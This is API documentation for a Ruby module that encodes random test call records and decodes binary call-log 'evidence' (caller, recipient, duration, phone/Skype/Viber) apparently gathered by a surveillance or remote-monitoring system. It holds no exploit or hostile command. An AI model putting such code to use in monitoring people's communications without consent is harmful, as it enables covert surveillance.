Module: RCS::CalllistEvidence

Includes:
Tracer
Defined in:
lib/rcs-common/evidence/call.rb

Overview

::CalllistoldEvidence

Constant Summary collapse

ELEM_DELIMITER =
0xABADC0DE
CALL_INCOMING =
0x01
PROGRAM_TYPE =
{
    0x00 => :phone,
    0x01 => :skype,
    0x02 => :viber,
}

Constants included from Tracer

Tracer::TRACE_YAML_NAME

Instance Method Summary collapse

Methods included from Tracer

#thread_name, #trace, #trace_ensure_log_folders, #trace_init, #trace_named_put, #trace_named_remove, #trace_nested_pop, #trace_nested_push, #trace_setup

Instance Method Details

#contentObject



119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
# File 'lib/rcs-common/evidence/call.rb', line 119

def content
  program = [PROGRAM_TYPE.keys.sample].pack('L')
  flags = [[0,1].sample].pack('L')
  users = ["ALoR", "Bruno", "Naga", "Quez", "Tizio", "Caio"]
  from = users.sample.to_utf16le_binary_null
  to = users.sample.to_utf16le_binary_null
  duration = rand(0..500)

  content = StringIO.new
  t = Time.now.getutc
  content.write [t.to_i].pack('L')
  content.write program
  content.write flags
  content.write from
  content.write from
  content.write to
  content.write to
  content.write [duration].pack('L')
  content.write [ ELEM_DELIMITER ].pack('L')

  content.string
end

#decode_content(common_info, chunks) ⇒ Object



148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
# File 'lib/rcs-common/evidence/call.rb', line 148

def decode_content(common_info, chunks)
  stream = StringIO.new chunks.join

  until stream.eof?
    tm = stream.read(4)
    info = Hash[common_info]
    info[:da] = Time.at(tm.unpack('L').first)
    info[:data] = Hash.new if info[:data].nil?

    program = stream.read(4).unpack('L').first
    info[:data][:program] = PROGRAM_TYPE[program]

    flags = stream.read(4).unpack('L').first
    info[:data][:incoming] = (flags & CALL_INCOMING != 0) ? 1 : 0

    from = stream.read_utf16le_string
    info[:data][:from] = from.utf16le_to_utf8
    from_display = stream.read_utf16le_string
    info[:data][:from_display] = from_display.utf16le_to_utf8

    rcpt = stream.read_utf16le_string
    info[:data][:rcpt] = rcpt.utf16le_to_utf8
    rcpt_display = stream.read_utf16le_string
    info[:data][:rcpt_display] = rcpt_display.utf16le_to_utf8

    info[:data][:duration] = stream.read(4).unpack('L').first

    delim = stream.read(4).unpack("L").first
    raise EvidenceDeserializeError.new("Malformed CALLLIST (missing delimiter)") unless delim == ELEM_DELIMITER

    yield info if block_given?
  end
  :delete_raw
end

#generate_contentObject



142
143
144
145
146
# File 'lib/rcs-common/evidence/call.rb', line 142

def generate_content
  ret = Array.new
  10.rand_times { ret << content() }
  ret
end